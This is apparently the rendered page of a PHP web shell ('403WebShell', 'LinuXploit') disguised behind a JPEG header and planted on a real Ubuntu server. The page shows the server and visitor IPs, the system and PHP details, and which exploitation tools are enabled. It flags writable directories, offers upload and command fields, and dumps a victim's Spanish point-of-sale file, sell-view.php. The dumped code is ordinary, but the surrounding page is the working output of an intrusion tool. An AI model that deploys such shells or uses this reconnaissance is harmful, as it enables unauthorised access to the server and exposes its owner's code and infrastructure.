����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.144.226.114
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/t/sae/appsae/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/t/sae/appsae/core/app/view/sell-view.php
<?php
$symbol = ConfigurationData::getByPreffix("currency")->val;
$iva_name = ConfigurationData::getByPreffix("imp-name")->val;
$iva_val = ConfigurationData::getByPreffix("imp-val")->val;
$descuento_val = ConfigurationData::getByPreffix("descuento_val")->val;
$cambiarprecio_val = ConfigurationData::getByPreffix("cambiarprecio_val")->val;
$activardescuento_val = ConfigurationData::getByPreffix("activardescuento_val")->val;
$ventarapida_val = ConfigurationData::getByPreffix("ventarapida_val")->val; 
$descuentoenventa_val = ConfigurationData::getByPreffix("descuentoenventa_val")->val; 

$promotions = PromotionData::getAll();
?>
<style>
  
#v{
    width:320px;
    height:240px;
}
#qr-canvas{
    display:none;
}
#qrfile{
    width:320px;
    height:240px;
}
#mp1{
    text-align:center;
    font-size:35px;
}
#imghelp{
    position:relative;
    left:0px;
    top:-160px;
    z-index:100;
    font:18px arial,sans-serif;
    background:#f0f0f0;
  margin-left:35px;
  margin-right:35px;
  padding-top:10px;
  padding-bottom:10px;
  border-radius:20px;
}

</style>
<section class="content">

<div class="row">
	<div class="col-md-12">
	<h1>Venta</h1>
	<p><b>Buscar producto por nombre o por codigo:</b></p>
	<form id="searchp">
		<div class="row">

     		 <div class="col-md-3">
				<input type="hidden" name="view" value="sell">
			<?php if( ($ventarapida_val!="SI") && ($ventarapida_val!="si")):?>
				<input type="text" id="product_name" name="product_name" class="form-control" placeholder="Nombre del Producto">
				<?php else: ?>
				<input type="text" id="product_name" name="product_name" class="form-control" placeholder="Nombre del Producto" readonly="readonly">
		    <?php endif; ?>
			</div>
			
			<div class="col-md-3">
				<input type="hidden" name="view" value="sell">
				<input type="text" id="product_code" name="product_code" class="form-control" placeholder="Codigo de Barra">
			</div>
			
			<div class="col-md-4">
			   <button type="submit" class="btn btn-primary"><i class="glyphicon glyphicon-search"></i> Buscar</button>
			</div>
			
	    </div>
	</form>
   </div>

<div style="display:none;" id="qrreader">
<div id="mainbody">
<a class="selector" id="webcamimg" onclick="setwebcam()" align="left">Camara</a>
<a class="selector" id="qrimg" src="cam.png" onclick="setimg()" align="right">Imagen</a>
<div id="outdiv">
</div>
<div id="result">-- Scaning --</div>
<canvas id="qr-canvas" width="800" height="600"></canvas>


<button onclick="captureToCanvas()">Capture</button><br>
</div>
</div>



<script>
  $(document).ready(function(){
      $("#readqr").click(function(){
        qrreader = document.getElementById("qrreader");
        if(qrreader.style.display=="none"){
          qrreader.style.display="block";
          load();
        }else if(qrreader.style.display=="block"){
          qrreader.style.display="none";
          var MediaStream = window.MediaStream;

          if (typeof MediaStream === 'undefined' && typeof webkitMediaStream !== 'undefined') {
              MediaStream = webkitMediaStream;
          }

          /*global MediaStream:true */
          if (typeof MediaStream !== 'undefined' && !('stop' in MediaStream.prototype)) {
              MediaStream.prototype.stop = function() {
                  this.getAudioTracks().forEach(function(track) {
                      track.stop();
                  });

                  this.getVideoTracks().forEach(function(track) {
                      track.stop();
                  });
              };
          }

        }

      });
  });
</script>

<div id="show_search_results"></div>

<script>
//jQuery.noConflict();

$(document).ready(function(){
	$("#searchp").on("submit",function(e){
		e.preventDefault();

    code = $("#product_code").val();
    name = $("#product_name").val();
		if(name!=""){
		$.get("./?action=searchproduct",$("#searchp").serialize()+"&go=name",function(data){
			$("#show_search_results").html(data);
		});
		$("#product_name").val("");
    }
    else if(code!=""){
    $.get("./?action=searchproduct",$("#searchp").serialize()+"&go=code",function(data){
      $("#show_search_results").html(data);
    });
    $("#product_code").val("");
    }

	});
	});


</script>

<?php if(isset($_SESSION["errors"])):?>
<h2>Errores</h2>
<p></p>
<table class="table table-bordered table-hover">
<tr class="danger">
	<th>Codigo</th>
	<th>Producto</th>
	<th>Mensaje</th>
</tr>
<?php foreach ($_SESSION["errors"]  as $error):
$product = ProductData::getById($error["product_id"]);
?>
<tr class="danger">
	<td><?php echo $product->id; ?></td>
	<td><?php echo $product->name; ?></td>
	<td><b><?php echo $error["message"]; ?></b></td>
</tr>

<?php endforeach; ?>
</table>


<?php
unset($_SESSION["errors"]);
 endif; ?>


<!--- Carrito de compras :) -->
<?php if(isset($_SESSION["cart"])):
$total = 0;
?>
<h2>Lista de venta</h2>
<div class="box box-primary">
<table class="table table-bordered table-hover">
<thead>
	<th style="width:30px;">Codigo</th>
	<th style="width:30px;">Cantidad</th>
	<th style="width:30px;">Unidad</th>
	<th>Producto</th>
	<th style="width:30px;">Precio Unitario</th>
	<th style="width:85px;">Precio Total</th>
	<th ></th>
</thead>
<?php foreach($_SESSION["cart"] as $p):
$product = ProductData::getById($p["product_id"]);
$promotion = PromotionData::getById_P($p["product_id"]);
?>
<tr >
	<td><?php echo $product->barcode; ?></td>
	<td ><?php echo $p["q"]; ?></td>
	<td><?php echo $product->unit; ?></td>
	<td><?php echo $product->name; ?></td>
	
	<?php  if(($cambiarprecio_val != "SI") && ($cambiarprecio_val != "si")):
   

	?>
	<td align="center">
	  <?php if(isset($promotion)): ?>
	  
	  
	  <button type="button" class="btn btn-info" data-toggle="modal" data-target="#myModal"><i class="fa fa-th-list"></i> $ <?php echo $product->price_out; ?> </button>

	  <?php else: ?>
	  <button type="button" class="btn btn-info" data-toggle="modal" data-target="#myModal"><i class="fa fa-th-list"></i> $ <?php echo $product->price_out; ?> </button>
	  <?php endif; ?>
	 
	 </td >
	<td>
	<b></b>
	 <a href="" class="btn btn-success"><i class="fa fa-price"></i>$ <?php  $pt = $product->price_out*$p["q"]; $total +=$pt; echo number_format($pt,2,".",","); ?></a>
	</td>
	<?php else: ?>
	
	
	<td align="center">
	 <button type="button" class="btn" data-toggle="modal" data-target="#myModal2"><i class="fa fa-th-list"></i> $ <?php echo $p["price"]; ?> </button>
	</td >
	
	<td>
	<b></b>
	 <a href="" class="btn btn-success"><i class="fa fa-price"></i>$ <?php  $pt = $p["price"]*$p["q"]; $total +=$pt; echo number_format($pt,2,".",","); ?></a>
	</td>

	<?php endif; ?>
	
	
	
	<td style="width:30px;">
	<a href="index.php?view=clearcart&product_id=<?php echo $product->id; ?>" class="btn btn-danger"><i class="glyphicon glyphicon-remove"></i> Cancelar</a>
	</td>
</tr>

<?php endforeach; ?>
</table>
</div>
<form method="post" class="form-horizontal" id="processsell" action="index.php?view=processsell">
<h2>Resumen</h2>
<div class="row">
<div class="col-md-3">
    <label class="control-label">Almacen</label>
    <div class="col-lg-12">
    <h4 class=""><?php 
    echo StockData::getPrincipal()->name;
    ?></h4>
    </div>
  </div>

<div class="col-md-4">
    <label class="control-label">Cliente</label>
	 <div class="btn-group  pull-left">
				<a href="./?view=newclient" class="btn btn-default">||</a>
     </div>
    <div class="col-lg-12">
    <?php 
$clients = PersonData::getClients();
    ?>
    <select name="client_id" id="client_id" class="form-control" onclick="mostrarReferencia3();">
    <option value="">-- NINGUNO --</option>
    <?php foreach($clients as $client):?>
    	<option value="<?php echo $client->id;?>"><?php echo $client->name." ".$client->lastname;?></option>
    <?php endforeach;?>
    	</select>
    </div>
	
  </div>
  
  <?php if($descuento_val=="0" ):
  
  if($activardescuento_val!="NO" && $activardescuento_val!="NO"): ?>
  <div class="col-md-2">
    <label class="control-label">Descuento en %</label>
    <div class="col-lg-12">
	  <input type="text" name="discount1" class="form-control"  required value="0" id="discount1" placeholder="Descuento(%)">
    </div>
	 <div class="col-lg-12">
	 <label class="control-label">Descuento en Cantidad</label>
	  <input type="text" name="discount" class="form-control" value="0" id="discount" placeholder="Descuento en Efectivo" >
	</div>
  </div>
  
   <div class="col-md-2">
    <label class="control-label">Importe A Pagar*</label>
    <div class="col-lg-12">
      <input type="text" name="money" id="money" value="<?php echo $total; ?>" class="form-control" id="money" placeholder="Efectivo">
    </div>

  </div>
  <?php endif; ?>
 <?php endif; ?>
 <?php if($descuento_val=="0" && ($activardescuento_val=="SI" && $activardescuento_val=="si") ):?>
	  <input type="hidden" name="discount1" class="form-control"  required value="<?php echo $descuento_val; ?>" id="discount1" placeholder="Descuento">
	  <input type="hidden" name="discount" class="form-control" value="<?php echo $total*($descuento_val/100); ?>" id="discount" placeholder="Descuento " >
	
   <div class="col-md-5">
    <label class="control-label">Importe A Pagar**</label>
    <div class="col-lg-12">
      <input type="text" name="money" id="money" value="<?php echo $total-($total*($descuento_val/100)); ?>" class="form-control" id="money" placeholder="Efectivo">
    </div>
  </div>
 
 <?php endif; ?>
 
 <?php if($descuento_val!="0" || ($descuentoenventa_val=="SI") ):?>
 
	<?php if($activardescuento_val=="NO" || $activardescuento_val=="no"): ?>
	
	  <input type="hidden" name="discount1" class="form-control"  required value="<?php echo $descuento_val; ?>" id="discount1" placeholder="Descuento">
	  <input type="hidden" name="discount" class="form-control" value="<?php echo $total*($descuento_val/100); ?>" id="discount" placeholder="Descuento " >
	
   <div class="col-md-5">
    <label class="control-label">Importe A Pagar***</label>
    <div class="col-lg-12">
      <input type="text" name="money" id="money" value="<?php echo $total-($total*($descuento_val/100)); ?>" class="form-control" id="money" placeholder="Efectivo" maxlength="10" onKeypress="if (event.keyCode < 45 || event.keyCode > 57) event.returnValue = false;">
    </div>
  </div>
 <?php endif; ?>
 <?php endif; ?>
 
  </div>
  


<div class="row">

<div class="col-md-4">
    <label class="control-label"> Tipo de Pago</label>
    <div class="col-lg-12">
    <?php 
$clients = PData::getAll();
    ?>
    <select name="p_id" id="p_id" class="form-control" onclick="mostrarReferencia2();">
    <?php foreach($clients as $client):?>
    	<option value="<?php echo $client->id;?>"><?php echo $client->name;?></option>
    <?php endforeach;?>
    	</select>
    </div>
  </div>
  
  <div class="col-md-4">
    <label class="control-label">Forma de Pago</label>
    <div class="col-lg-12">
    <?php 
$clients = FData::getAll();
    ?>
    <select name="f_id" id="f_id" class="form-control" onclick="mostrarReferencia();">
	 <option value="">-- Efectivo Mostrador --</option>
    <?php foreach($clients as $client):?>
    	<option value="<?php echo $client->def;?>"><?php echo $client->def."-".$client->name;?></option>
    <?php endforeach;?>
    	</select>
    </div>
  </div>
  
  <!--	AJUSTES REALIZADOS EL 24 JUNIO 2017 INICIO  SE AGREGO EN FORMA DE PAGO ONCLICK  -->
  <div id="desdeotro" class="col-md-4" style="display:none;">
<p>Ingrese Digitos Cuenta:</p>
<p><input type="text" name="codef_id" class="input" maxlength="4" onKeypress="if (event.keyCode < 45 || event.keyCode > 57) event.returnValue = false;" /></p>
</div>
  
  <script type="text/javascript">
<!--
function mostrarReferencia(){
//Si la opcion con VALUE 2 Y 3 (dentro del documento > formulario  >     y a la vez dentro del array de  esta activada
if (document.getElementById('f_id').value == 2 || document.getElementById('f_id').value == 3) {
//muestra (cambiando la propiedad display del estilo) el div con id 'desdeotro'
document.getElementById('desdeotro').style.display='block';
//por el contrario, si no esta seleccionada
} else {
//oculta el div con id 'desdeotro'
document.getElementById('desdeotro').style.display='none';
}
}


-->
</script>

 <script type="text/javascript">
<!-- FUNCION PARA QUE SE PUEDA DESCONTAR EL CREDITO DEL CLIENTE
function mostrarReferencia2(){
//Si la opcion con VALUE 2 Y 3 (dentro del documento > formulario  >     y a la vez dentro del array de  esta activada
if (document.getElementById('p_id').value == 4) {
//muestra (cambiando la propiedad display del estilo) el div con id 'desdeotro'
 document.getElementById('money').value = 0;
 document.getElementById('money').readOnly = true;
 alert("Ingresa el cliente!!");
   
 } else {
 document.getElementById('money').value = <?php echo number_format($total,2,'.',',')?>;
 }

}
-->
</script>


 <script type="text/javascript">
<!-- FUNCION PARA QUE SE PUEDA DESCONTAR EL CREDITO DEL CLIENTE
function mostrarReferencia3(){
//Si la opcion con VALUE 2 Y 3 (dentro del documento > formulario  >     y a la vez dentro del array de  esta activada
if (document.getElementById('client_id').value != "") {
//muestra (cambiando la propiedad display del estilo) el div con id 'desdeotro'


    name = $("#client_id").val();
	
	
		
		
   
   
} else {
document.getElementById('money').value = <?php echo number_format($total,2,'.',',')?>;
}

}


-->
</script>

   <!--	AJUSTES REALIZADOS EL 24 JUNIO 2017 FIN  -->
  
  
<div class="col-md-4">
    <label class="control-label">Entrega</label>

    <div class="col-lg-12">
    <?php 
$clients = DData::getAll();
    ?>
    <select name="d_id" class="form-control">
    <?php foreach($clients as $client):?>
    	<option value="<?php echo $client->id;?>"><?php echo $client->name;?></option>
    <?php endforeach;?>
    	</select>
    </div>
  </div>

</div>


      <input type="hidden" name="total" value="<?php echo $total; ?>" class="form-control" placeholder="Total">
      <div class="clearfix"></div>
<br>
  <div class="row">
<div class="col-md-6 col-md-offset-6">
<div class="box box-primary">
<table class="table table-bordered">
<tr>
	<td><p>Subtotal</p></td>
	<td><p><b>$ <?php echo number_format($total*(1 - ($iva_val/100) ),2,'.',','); ?></b></p></td>
</tr>

<?php if($iva_val!="0"): ?>
<tr>
	<td><p><?php echo $iva_name." (".$iva_val."%) ";?></p></td>
	<td><p><b>$ <?php echo number_format($total*($iva_val/100),2,'.',','); ?></b></p></td>
</tr>
<?php endif; ?>
<tr>
	<td><p>Descuento(<?php echo $descuento_val;?>%)</p></td>
	<td><p><b>$ <?php echo number_format($total*($descuento_val/100),2,'.',','); ?></b></p></td>
</tr>
<?php if($descuento_val!="0"): ?>
<tr>
	<td><p>Total</p></td>
	<td><p><b>$ <?php echo number_format($total-($total*($descuento_val/100)),2,'.',','); ?></b></p></td>
</tr>
<?php else: ?>
<tr>
	<td><p>Total</p></td>
	<td><p><b>$ <?php echo number_format($total,2,'.',','); ?></b></p></td>
</tr>
<?php endif; ?>
</table>
</div>
  <div class="form-group">
    <div class="col-lg-offset-2 col-lg-10">
      <div class="checkbox">
        <label>
          <input name="is_oficial" type="hidden" value="1">
        </label>
      </div>
    </div>
  </div>
<div class="form-group">
    <div class="col-lg-offset-2 col-lg-10">
      <div class="checkbox">
        <label>
		<a href="index.php?view=clearcart" class="btn btn-danger"><i class="glyphicon glyphicon-remove"></i> Cancelar</a>
        <button class="btn btn-primary" id="id_of_button"><i class="glyphicon glyphicon-usd"></i><i class="glyphicon glyphicon-usd"></i> Finalizar</button>
        </label>
      </div>
    </div>
  </div>




<style type="text/css"> body {margin-left:30px; font-family: sans-serif;}
.estiloForm {background-color: #f3f3f3; border: solid 2px black; margin-left:20px; width: 330px; padding:10px; }
.estiloForm label {display: block; width: 120px; float: left; text-align:right; margin-bottom: 35px; padding-right: 20px;}
br {clear: left;} input[type="submit"], input[type="reset"] {margin:25px 5px 10px 5px;}
</style>

<script type='text/javascript'>
document.forms[0].elements["product_code"].focus()
</script>

<script type="text/javascript">
$(document).keyup(function(event){
   event.preventDefault();
    if (event.keyCode == 255) {
        document.getElementById("id_of_button").click();
    }
	 if (event.keyCode == 13) {
        document.getElementById("money").focus;
    }
});
</script>


</form>

<script>
	$("#processsell").submit(function(e){
	discount = $("#discount").val();
	discount1 = $("#discount1").val();
    p = $("#p_id").val();
    client = $("#client_id").val();
		money = $("#money").val();
    if(money!=""){
    if(p!=4){
		if(money<(<?php echo $total;?>-discount)){
			alert("Efectivo insificiente!");
			e.preventDefault();
		}else{
			if(discount==""){ discount=0;}
				if(discount1>=99)
				{
				alert("Descuento fuera de rango!");
				e.preventDefault();
				}else
				{
					go = confirm("Cambio: $"+ (money-(<?php echo $total;?>-discount )).toFixed(2) );
				}
			
			if(go){
				
			}
				else{e.preventDefault();}
		}
    }else if(p==4){ // usaremos credito
      if(client!=""){
        // procedemos
        
        <?php 
		foreach(PersonData::getClients() as $cli){
          echo " cli[$cli->id]=$cli->has_credit ;";
		  
        }
       //  PersonData::gettoClientWithCredit();
        ?>
		alert("El cliente  con credito!");

        if(cli[client]==0){
          // si el cliente tiene credito entonces procedemos a hacer la venta a credito :D
			alert("El cliente  con credito!");
        }else{
          // el cliente no tiene credito
          alert("El cliente seleccionado no cuenta con credito!");
          e.preventDefault();

        }
      }else{
        // 
        alert("Debe seleccionar un cliente!");
        e.preventDefault();
      }

    }
  }else{
    alert("Campo de pago vacio")
    e.preventDefault();
  }
	});
</script>
</div>
</div>

<?php endif; ?>


</section>

<!-- Modal -->
<div class="modal fade" id="myModal" tabindex="-1" role="dialog" aria-labelledby="myModalLabel">
<div class="col-md-3 col-md-offset-3">
  <div class="modal-dialog modal-sm" role="document" id="mdialTamanio">
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
        <h4 class="modal-title" id="myModalLabel" align="center">LISTE DE PRECIOS</h4><h3 align="center"><?php echo $product->name; ?></h3>
      </div>
      <div class="modal-body" align="center">

<form method="post" action="index.php?view=updatepriceP" enctype="multipart/form-data">

		

		 <input type="hidden" name="product_id" value="<?php echo $product->id; ?>">
		
		<label for="exampleInputEmail1" align="center">**Lista de Precios**</label>
	<div class="form-group">
	
	<?php $list = listPriceData::getById($product->id); 
	 ?>
	<?php if(count($list)>0):?>
	  <select name="price_out" id="price_out" align="center"></option> 
      <option value="">--PRECIO--</option>
		
		
		 <option value="<?php echo $list->price_min;?>" title="PRECIO MINIMO"><?php echo $list->price_min;?></option>
		  <option value="<?php echo $list->price_1;?>"title="PRECIO 1"><?php echo $list->price_1;?></option>
		   <option value="<?php echo $list->price_2;?>" title="PRECIO 2"><?php echo $list->price_2;?></option>
		    <option value="<?php echo $list->price_3;?>" title="PRECIO 3"><?php echo $list->price_3;?></option>
		     <option value="<?php echo $list->price_4;?>" title="PRECIO 4"><?php echo $list->price_4;?></option>
      </select> 
	   <?php endif;?>
	     <?php if(count($list)==0):?>
	     <label for="exampleInputEmail1" align="center">Sin lista De Precios</label>
		 <input type="hidden" name="price_out" id="price_out"  value="<?php echo $product->price_out; ?>">
	    <?php endif;?>
  </div>


  <button type="submit" class="btn btn-default" align="center"><i class="fa fa-check"></i> Agregar</button>
   
</form>
      </div>

    </div>
  </div>
</div>




</div>

Youez - 2016 - github.com/yon3zu
LinuXploit